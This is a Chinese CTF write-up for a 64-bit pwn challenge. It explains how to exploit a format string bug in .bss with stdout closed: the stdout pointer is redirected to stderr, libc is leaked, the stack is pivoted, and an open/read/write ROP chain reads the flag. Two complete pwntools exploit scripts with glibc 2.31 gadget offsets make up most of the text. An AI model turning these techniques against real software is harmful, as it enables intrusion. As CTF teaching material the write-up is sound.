考点: 非栈上的格式化字符串漏洞 + 栈迁移 + printf函数
程序为 64 位, 保护如下:
默认读者对非栈上的格式化字符串漏洞的利用比较熟悉
程序没有去符合, 而且非常简短, main 函数如下: main 函数依次调用以下三个函数
init 函数如下:
Sandbox_Loading 开了沙盒: 所以最后只能走 orw 拿 flag
主要的漏洞就在 menu 函数中:
a 指向 buf 缓冲区, 并把其的栈地址给了我们, 然后 close(1) 关闭了标准输出, 最后进入 vuln 函数:
给了 64 次格式化字符串漏洞利用的机会, 但是程序关闭了标准输出流, 所以这里无法利用格式化字符串漏洞进行数据泄漏, 但是还是可以任意写的(此任意非彼任意).
目前我们手上有格式化字符串漏洞, 但是标准输出被关了, 所以导致无法任意读. 这里我们回到 printf 源码:
__fortify_function int
printf (const char *__restrict __fmt, ...)
{
return __printf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
}
int
attribute_hidden
__printf_chk (int flag, const char *fmt, ...)
{
va_list arg;
int done;
va_start (arg, fmt);
done = __nldbl___vfprintf_chk (stdout, flag, fmt, arg);
va_end (arg);
return done;
}
可以看到 printf 是根据 stdout 去找到的 _IO_2_1_stdout_, 其文件描述符就是1, 如果大家学了 IO_FILE 的利用的话, 应该很容易理解我在说什么. 那么如果我们将 stdout 修改为 _IO_2_1_stderr_ 就可以成功绕过了, 注意 stdout 与 stderr 其实都向终端进行输出.
那么如何进行修改呢? 还记得在 menu 函数中一开始就是 a = buf 吗? 其实这里就是给我们进行格式化字符串漏洞利用的.
可以看到 buf 与 stdout 只有低字节不同, 所以可以利用任意写去修改 buf 低字节使得 stdout 挂入栈中, 但是注意这里是 bss 上的格式化字符串漏洞, 所以得间接写, 我们可以发现如下链:
所以我们可以利用此链将 buf 修改为 stdout:
然后可以看到 _IO_2_1_stderr_ 与 _IO_2_1_stdout_ 只有低两个字节不同:
但是这里比较悲催的是直接写两个字节的话 printf 由于输出太多好像没有进进去?所以就只能写后12位了, 1/16 的机会其实还是可以接受的.
修改成功后我们得先把 stdout 改会 buf, 因为调试发现后续会修改该位置指向的值, 然后就可进行 libc 等地址的泄漏了.
泄漏了 libc 等地址后, 就可以写 rop 链了, 这里有个问题就是 rop 写在哪里呢? 当然你可以尝试往栈上写然后直接覆盖返回地址, 可是这里 orw 链还是比较长的, 直接往栈上写的话不是很方便(当然也可以写).
这是这里将 orw 链写在 buf 上, 最后栈迁移过去就行了, 所以这里就只需要覆盖 main_rbp 和 main_ret 进行栈迁移就 ok 了, 而且 main_ret 最后是返回到 __libc_start_main 里面, 其是一个 libc 地址, 我们在 libc 中找 leave_ret 最后就只需要写低 3 字节 (当然这个不重要, 毕竟写 3 字节与写 6 字节没啥区别, 毕竟有 64 次利用机会)
这里选择如下跳板进行间接写: 这里只有低字节不同, 非常方便
exp 如下: 环境为 ubu20 - glibc-2.31
调试版:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True, timeout=2)
ruf = lambda s : io.recvuntil(s, drop=False, timeout=2)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
ddebug = True
#ddebug = False
if ddebug:
gdb.attach(io, 'b *$rebase(0x0000000000000A14)')
rut(b'here is my gift: ')
stack = int(rl(), 16)
info("stack", stack)
pay = b'%' + str((stack&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
if ddebug:
pause()
pay = b'%32c%10$hhn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
print("[+] hijack stdout")
if ddebug:
pause()
pay = b'%' + str(libc.sym._IO_2_1_stderr_&0xfff).encode() + b'c%9$hn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
if ddebug:
pause()
pay = b'%96c%10$hhn'
sl(pay.ljust(299, b'\x00'))
if ddebug:
pause()
pay = b'%15$p\n'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
rut(b'0x')
libc_base = int(rl(), 16) - libc.sym.__libc_start_main - 243
libc.address = libc_base
info("libc_base", libc_base)
if ddebug:
pause()
pay = b'%9$p\n'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
rut(b'0x')
buf_addr = int(rl(), 16)
info("buf_addr", buf_addr)
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
flag_addr = buf_addr + 0xA0
main_rbp = stack + 0x28
print("hijack rbp")
for i in range(6):
print("[+] count: ", i)
if ((buf_addr >> (i*8))&0xff) == 0:
continue
if ddebug:
pause()
pay = b'%' + str((main_rbp+i)&0xff).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay)
if ddebug:
pause()
pay = b'%' + str((buf_addr>>(i*8))&0xff).encode() + b'c%10$hhn'
sleep(0.2)
sl(pay)
info("leave_ret", leave_ret)
for i in range(3):
print("[+] count: ", i)
if ((leave_ret >> (i*8))&0xff) == 0:
continue
if ddebug:
pause()
pay = b'%' + str(((main_rbp+0x8+i)&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay)
if ddebug:
pause()
pay = b'%' + str(((leave_ret>>(i*8))&0xff)).encode() + b'c%10$hhn'
sleep(0.2)
sl(pay)
if ddebug:
pause()
pay = b'%' + str(((main_rbp)&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay)
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(libc.sym.open)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
orw += p64(pop_rdi) + p64(2) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
info("orw_len", len(orw))
if ddebug:
pause()
pay = b'd^3CTF\n\x00' + orw + b'./flag\x00\x00'
info("pay_len", len(pay))
sleep(0.2)
sl(pay)
#debug()
sh()
利用版:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True, timeout=1)
ruf = lambda s : io.recvuntil(s, drop=False, timeout=1)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
def exp():
rut(b'here is my gift: ')
stack = int(rl(), 16)
info("stack", stack)
pay = b'%' + str((stack&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
pay = b'%32c%10$hhn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
print("[+] hijack stdout")
pay = b'%' + str(libc.sym._IO_2_1_stderr_&0xfff).encode() + b'c%9$hn'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
pay = b'%96c%10$hhn'
sl(pay.ljust(299, b'\x00'))
pay = b'%15$p\n'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
rut(b'0x')
libc_base = int(rl(), 16) - libc.sym.__libc_start_main - 243
libc.address = libc_base
info("libc_base", libc_base)
pay = b'%9$p\n'
sleep(0.2)
sl(pay.ljust(299, b'\x00'))
rut(b'0x')
buf_addr = int(rl(), 16)
info("buf_addr", buf_addr)
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
flag_addr = buf_addr + 0xA0
main_rbp = stack + 0x28
print("[+] hijack rbp")
for i in range(6):
print("[+] count: ", i)
if ((buf_addr >> (i*8))&0xff) == 0:
continue
pay = b'%' + str((main_rbp+i)&0xff).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay)
pay = b'%' + str((buf_addr>>(i*8))&0xff).encode() + b'c%10$hhn'
sleep(0.2)
sl(pay)
info("leave_ret", leave_ret)
print("[+] hijack rip")
for i in range(3):
print("[+] count: ", i)
if ((leave_ret >> (i*8))&0xff) == 0:
continue
pay = b'%' + str(((main_rbp+0x8+i)&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay)
pay = b'%' + str(((leave_ret>>(i*8))&0xff)).encode() + b'c%10$hhn'
sleep(0.2)
sl(pay)
pay = b'%' + str(((main_rbp)&0xff)).encode() + b'c%6$hhn'
sleep(0.2)
sl(pay)
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(libc.sym.open)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
orw += p64(pop_rdi) + p64(2) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
info("orw_len", len(orw))
pay = b'd^3CTF\n\x00' + orw + b'./flag\x00\x00'
info("pay_len", len(pay))
sleep(0.2)
sl(pay)
sh()
while True:
try:
io = process("./pwn")
exp()
break
except Exception as e:
io.kill()
效果如下: